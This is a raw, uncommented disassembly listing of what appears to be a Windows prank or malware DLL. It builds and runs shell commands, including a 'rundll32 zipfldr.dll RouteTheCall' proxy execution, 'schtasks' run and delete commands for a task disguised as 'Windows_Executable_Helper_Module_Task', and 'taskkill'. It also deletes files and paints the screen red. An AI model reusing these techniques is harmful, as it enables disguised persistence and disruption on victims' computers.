mov r8d, r15d
mov edx, 0x8000000
call fcn.180003560
lea rcx, [rbp + 0x1ee0]
call fcn.180002290
mov edx, r15d
mov ecx, 0x2710
call fcn.180005a20
lea rdx, str.shutdown__a
lea rcx, [rbp + 0x1f00]
call fcn.180001e20
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov r8d, r15d
mov edx, 0x8000000
call fcn.180003560
lea rcx, [rbp + 0x1f00]
call fcn.180002290
lea rdx, str.shutdown__a
lea rcx, [rbp + 0x1f20]
call fcn.180001e20
cmp qword [rax + 0x18], 0xf
jbe 0x18000b8a8
mov rax, qword [rax]
mov r8d, r15d
mov edx, 0x8000000
mov rcx, rax
call fcn.180003560
lea rcx, [rbp + 0x1f20]
call fcn.180002290
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180011951]
lea rcx, str.Got_pranked_:_
call fcn.180004cc0
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], 4
mov qword [rbp - 0x18], 0xf
mov dword [rbp - 0x30], 0x68743531
mov byte [rbp - 0x2c], 0
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x210]
call fcn.180005840
mov ecx, dword [rsp + 0x68]
sub ecx, r15d
je 0x18000b95e
cmp ecx, r15d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
je 0x18000b955
lea rdx, str.SH_NULL
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [rsp + 0x70]
mov esi, dword [rsp + 0x58]
jmp 0x18000b9c9
lea rdx, str.SH_CANCEL
jmp 0x18000b935
mov esi, dword [rsp + 0x58]
mov rdi, qword [rsp + 0x70]
cmp esi, 6
jle 0x18000b9b9
mov rcx, rbx
mov rdx, qword [rdi + 0x30]
lea r8, str._nsh
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000b9b9
cmp rcx, 5
jne 0x18000b980
lea rdx, str.SH_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000b9c9
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r15d
call fcn.180004550
xorps xmm0, xmm0
movups xmmword [rbp + 0xc00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc10], xmm1
mov r8d, 0x28
lea rdx, str.rundll32_zipfldr.dll_RouteTheCall_winver
lea rcx, [rbp + 0xc00]
call fcn.180001460
lea rcx, [rbp + 0xc00]
cmp qword [rbp + 0xc18], 0xf
cmova rcx, qword [rbp + 0xc00]
xor r8d, r8d
xor edx, edx
call fcn.180003560
mov rdx, qword [rbp + 0xc18]
cmp rdx, 0xf
jbe 0x18000ba59
inc rdx
mov rcx, qword [rbp + 0xc00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ba54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000bf61
call fcn.18000e5b8
movdqu xmmword [rbp + 0xc10], xmm7
mov byte [rbp + 0xc00], 0
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], 4
mov qword [rbp + 8], 0xf
mov dword [rbp - 0x10], 0x68743631
mov byte [rbp - 0xc], 0
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x220]
call fcn.180005840
cmp esi, 8
jle 0x18000baf9
mov rcx, rbx
mov rdx, qword [rdi + 0x40]
lea r8, str._nlws
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000baf9
cmp rcx, 6
jne 0x18000bac0
lea rdx, str.LWS_FALSE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000bb01
mov ecx, r15d
call fcn.180004b90
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], 4
mov qword [rbp + 0x68], 0xf
mov dword [rbp + 0x50], 0x68743731
mov byte [rbp + 0x54], 0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x230]
call fcn.180005840
xorps xmm0, xmm0
movups xmmword [rbp + 0xc20], xmm0
movdqa xmm1, xmmword [0x1800126b0]
movdqu xmmword [rbp + 0xc30], xmm1
movsd xmm0, qword [str.blscr.exe]
movsd qword [rbp + 0xc20], xmm0
movzx eax, byte [0x180012260]
mov byte [rbp + 0xc28], al
mov byte [rbp + 0xc29], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xf60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf70], xmm1
lea rcx, [rbp + 0x3000]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x18000bba0
mov r8, rax
lea rdx, [rbp + 0x3000]
lea rcx, [rbp + 0xf60]
call fcn.180001460
nop
lea r9, [rbp + 0xc20]
lea r8, [rbp + 0xf60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x940]
call fcn.180001e60
nop
mov rdx, qword [rbp + 0xf78]
cmp rdx, 0xf
jbe 0x18000bc24
inc rdx
mov rcx, qword [rbp + 0xf60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bc1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bc1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xf70], xmm7
mov byte [rbp + 0xf60], 0
mov rdx, qword [rbp + 0xc38]
cmp rdx, 0xf
jbe 0x18000bc77
inc rdx
mov rcx, qword [rbp + 0xc20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bc72
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bc72
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xc30], xmm7
mov byte [rbp + 0xc20], 0
lea rcx, [rbp + 0x940]
cmp qword [rbp + 0x958], 0xf
cmova rcx, qword [rbp + 0x940]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x410]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x410]
call fcn.180001d00
mov rdi, rax
lea rdx, [rbp + 0x9a0]
lea rcx, [rbp + 0x3f0]
call fcn.180001d00
nop
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call fcn.180006130
mov edx, r15d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0x940]
cmp qword [rbp + 0x958], 0xf
cmova rcx, qword [rbp + 0x940]
mov r8d, r15d
xor edx, edx
call fcn.180003560
mov edx, r15d
mov ecx, 0x7d0
call fcn.180005a20
lea rcx, [rbp + 0x940]
cmp qword [rbp + 0x958], 0xf
cmova rcx, qword [rbp + 0x940]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x9a0]
cmp qword [rbp + 0x9b8], 0xf
cmova rcx, qword [rbp + 0x9a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], 4
mov qword [rbp + 0x28], 0xf
mov dword [rbp + 0x10], 0x68743831
mov byte [rbp + 0x14], 0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x240]
call fcn.180005840
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rdi, rax
mov ecx, 0xff
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov r14, rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.GDI32.dll_SelectObject]
nop word [rax + rax]
lea r9d, [rbx + 0x1f4]
mov dword [rsp + 0x20], 0x320
mov edx, 0x32
mov r8d, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_Rectangle]
xor edx, edx
mov ecx, 0x32
call fcn.180005a20
add ebx, 0xa
cmp ebx, 0x3e8
jl 0x18000bdd0
mov esi, 0x1e
nop dword [rax]
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r9d, eax
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.GDI32.dll_Rectangle]
xor edx, edx
mov ecx, 0x32
call fcn.180005a20
sub rsi, 1
jne 0x18000be10
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 4
mov qword [rbp - 0x38], 0xf
mov dword [rbp - 0x50], 0x68743931
mov byte [rbp - 0x4c], sil
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x250]
call fcn.180005840
mov edx, r15d
xor ecx, ecx
call fcn.180005a20
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], 4
mov qword [rbp + 0x48], 0xf
mov dword [rbp + 0x30], 0x68743032
mov byte [rbp + 0x34], sil
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x260]
call fcn.180005840
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.DONE
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.DONE
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xor edx, edx
mov ecx, 0x2710
call fcn.180005a20
nop
mov rdx, qword [rbp + 0x958]
cmp rdx, 0xf
jbe 0x18000bf6d
inc rdx
mov rcx, qword [rbp + 0x940]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bf68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bf68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0x950], xmm7
mov byte [rbp + 0x940], 0
mov rax, qword [rbp + 0x740]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ostringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x740], rbx
mov rax, qword [rbp + 0x740]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x73c], edx
lea rcx, [rbp + 0x748]
call fcn.1800022f0
lea rcx, [rbp + 0x750]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x7c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rax, qword [rbp + 0x830]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x830], rbx
mov rax, qword [rbp + 0x830]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x82c], edx
lea rcx, [rbp + 0x838]
call fcn.1800022f0
lea rcx, [rbp + 0x840]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x8b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov r8, qword [rbp + 0xf58]
cmp r8, 0xf
jbe 0x18000c047
mov rdx, qword [rbp + 0xf40]
lea rcx, [rbp + 0xf40]
call fcn.180002990
movdqu xmmword [rbp + 0xf50], xmm7
mov byte [rbp + 0xf40], 0
mov rdx, qword [rbp + 0xab8]
cmp rdx, 0xf
jbe 0x18000c09a
inc rdx
mov rcx, qword [rbp + 0xaa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c095
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c095
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xab0], xmm7
mov byte [rbp + 0xaa0], 0
mov rdx, qword [rbp + 0xf38]
cmp rdx, 0xf
jbe 0x18000c0ed
inc rdx
mov rcx, qword [rbp + 0xf20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c0e8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c0e8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xf30], xmm7
mov byte [rbp + 0xf20], 0
mov rdx, qword [rbp + 0x998]
cmp rdx, 0xf
jbe 0x18000c140
inc rdx
mov rcx, qword [rbp + 0x980]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c13b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0x990], xmm7
mov byte [rbp + 0x980], 0
mov rdx, qword [rbp + 0xf18]
cmp rdx, 0xf
jbe 0x18000c193
inc rdx
mov rcx, qword [rbp + 0xf00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c18e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c18e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xf10], xmm7
mov byte [rbp + 0xf00], 0
mov rdx, qword [rbp + 0x9b8]
cmp rdx, 0xf
jbe 0x18000c1e6
inc rdx
mov rcx, qword [rbp + 0x9a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c1e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c1e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0x9b0], xmm7
mov byte [rbp + 0x9a0], 0
mov rdx, qword [rbp + 0x9d8]
cmp rdx, 0xf
jbe 0x18000c239
inc rdx
mov rcx, qword [rbp + 0x9c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c234
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c234
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0x9d0], xmm7
mov byte [rbp + 0x9c0], 0
mov rdx, qword [rbp + 0xa98]
cmp rdx, 0xf
jbe 0x18000c28c
inc rdx
mov rcx, qword [rbp + 0xa80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c287
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c287
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xa90], xmm7
mov byte [rbp + 0xa80], 0
mov rdx, qword [rbp + 0x9f8]
cmp rdx, 0xf
jbe 0x18000c2df
inc rdx
mov rcx, qword [rbp + 0x9e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c2da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c2da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0x9f0], xmm7
mov byte [rbp + 0x9e0], 0
mov rdx, qword [rbp + 0xa18]
cmp rdx, 0xf
jbe 0x18000c332
inc rdx
mov rcx, qword [rbp + 0xa00]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c32d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c32d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
movdqu xmmword [rbp + 0xa10], xmm7
mov byte [rbp + 0xa00], 0
mov rdx, qword [rbp + 0x938]
cmp rdx, 0xf
jbe 0x18000c6b3
inc rdx
mov rcx, qword [rbp + 0x920]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000c384
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000c384
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000e5b8
jmp 0x18000c6b3
call fcn.180004450
test eax, eax
je 0x18000c49b
lea rdx, str.__rg___w
lea rcx, [rbp + 0x2040]
call fcn.180001e20
mov rsi, rax
lea rdx, [rbp + 0x3990]
lea rcx, [rbp + 0x2020]
call fcn.180001e20
mov rdi, rax
lea rdx, str.__e__
lea rcx, [rbp + 0x2000]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3990]
lea rcx, [rbp + 0x1fe0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1fc0]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1fa0]
call fcn.180001430
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x1f80]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
xor r8d, r8d
mov edx, 0x8000000
call fcn.180003560
lea rcx, [rbp + 0x1f80]
call fcn.180002290
nop
lea rcx, [rbp + 0x1fa0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1fc0]
call fcn.180002290
nop
lea rcx, [rbp + 0x1fe0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2000]
call fcn.180002290
nop
lea rcx, [rbp + 0x2020]
call fcn.180002290
nop
lea rcx, [rbp + 0x2040]
call fcn.180002290
xor edx, edx
mov ecx, 0x7d0
call fcn.180005a20
lea rdx, str._2_nul
lea rcx, [rbp + 0x20e0]
call fcn.180001e20
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, [rbp + 0x20c0]
call fcn.1800076e0
mov rbx, rax
lea rdx, str.app_hook_entry
lea rcx, [rbp + 0x20a0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2080]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2060]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
lea rcx, [rbp + 0x2060]
call fcn.180002290
nop
lea rcx, [rbp + 0x2080]
call fcn.180002290
nop
lea rcx, [rbp + 0x20a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x20c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x20e0]
call fcn.180002290
test ebx, ebx
je 0x18000c58e
lea rdx, str.Missing_app_component_a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800011d0
mov rcx, rax
lea rdx, [0x180001930]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
xor edx, edx
mov ecx, 0x6ddd00
call fcn.180005a20
jmp 0x18000c6b3
cmp r14d, r13d
jle 0x18000d66a
mov rdx, qword [rsi + 8]
mov rcx, rbx
lea r8, [0x18001226c]
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000c6e9
cmp rcx, 4
jne 0x18000c5c0
lea rdx, str.Windows_Executable_Helper_Module_Task
lea rcx, [rbp + 0x960]
call fcn.180001e20
nop
lea rdx, [0x180012298]
lea rcx, [rbp + 0x2180]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x2160]
call fcn.180001d00
mov rbx, rax
lea rdx, str.schtasks__run__tn__
lea rcx, [rbp + 0x2140]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2120]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2100]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov r8d, r13d
xor edx, edx
call fcn.180003560
lea rcx, [rbp + 0x2100]
call fcn.180002290
nop
lea rcx, [rbp + 0x2120]
call fcn.180002290
nop
lea rcx, [rbp + 0x2140]
call fcn.180002290
nop
lea rcx, [rbp + 0x2160]
call fcn.180002290
nop
lea rcx, [rbp + 0x2180]
call fcn.180002290
nop
lea rcx, [rbp + 0x960]
call fcn.180002290
xor eax, eax
mov rcx, qword [rbp + 0x3ff0]
xor rcx, rsp
call fcn.18000e740
lea r11, [rsp + 0x4120]
mov rbx, qword [r11 + 0x50]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, rbx
lea r8, [0x1800122b4]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x18000d31a
cmp rcx, 4
jne 0x18000c6f3
lea rcx, [rbp + 0x3660]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, [rbp + 0x3110]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea rcx, [rbp + 0x3220]
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea rdx, str.Windows_Executable_Helper_Module_Task
lea rcx, [rbp + 0x960]
call fcn.180001e20
nop
lea rcx, str.helper.exe
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x18000d288
lea rcx, [0x1800122d8]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x18000d288
call fcn.180004450
test eax, eax
je 0x18000d288
lea rdx, str.helper.bin
lea rcx, [rbp + 0x21e0]
call fcn.180001e20
mov rbx, rax
lea rdx, str.taskkill__f__im
lea rcx, [rbp + 0x21c0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x21a0]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov r8d, r13d
mov edx, 0x8000000
call fcn.180003560
lea rcx, [rbp + 0x21a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x21c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x21e0]
call fcn.180002290
lea rdx, [0x1800122fc]
lea rcx, [rbp + 0x2280]
call fcn.180001e20
mov rdi, rax
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x2260]
call fcn.180001d00
mov rbx, rax
lea rdx, str.schtasks__delete__tn__
lea rcx, [rbp + 0x2240]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2220]
call fcn.180001430
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2200]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov r8d, r13d
mov edx, 0x8000000
call fcn.180003560
lea rcx, [rbp + 0x2200]
call fcn.180002290
nop
lea rcx, [rbp + 0x2220]
call fcn.180002290
nop
lea rcx, [rbp + 0x2240]
call fcn.180002290
nop
lea rcx, [rbp + 0x2260]
call fcn.180002290
nop
lea rcx, [rbp + 0x2280]
call fcn.180002290
lea rdx, str.helper.bin
lea rcx, [rbp + 0x22e0]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x22c0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x22a0]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x22a0]
call fcn.180002290
nop
lea rcx, [rbp + 0x22c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x22e0]
call fcn.180002290
lea rdx, [0x1800122d8]
lea rcx, [rbp + 0x2340]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3220]
lea rcx, [rbp + 0x2320]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2300]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x2300]
call fcn.180002290
nop
lea rcx, [rbp + 0x2320]
call fcn.180002290
nop
lea rcx, [rbp + 0x2340]
call fcn.180002290
lea rdx, str.helper.bin
lea rcx, [rbp + 0x23a0]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3110]
lea rcx, [rbp + 0x2380]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2360]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x2360]
call fcn.180002290
nop
lea rcx, [rbp + 0x2380]
call fcn.180002290
nop
lea rcx, [rbp + 0x23a0]
call fcn.180002290
lea rdx, [0x1800122d8]
lea rcx, [rbp + 0x2400]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3220]
lea rcx, [rbp + 0x23e0]
call fcn.180001e20
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x23c0]
call fcn.180001430
mov rcx, rax
call fcn.180002d10
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbp + 0x23c0]
call fcn.180002290
nop
lea rcx, [rbp + 0x23e0]
call fcn.180002290
nop
lea rcx, [rbp + 0x2400]
call fcn.180002290
xor edx, edx
mov ecx, 0x3e8
call fcn.180005a20
lea rdx, str.helper.bin
lea rcx, [rbp + 0x2460]
call fcn.180001e20
mov rbx, rax
lea rdx, [rbp + 0x3110]
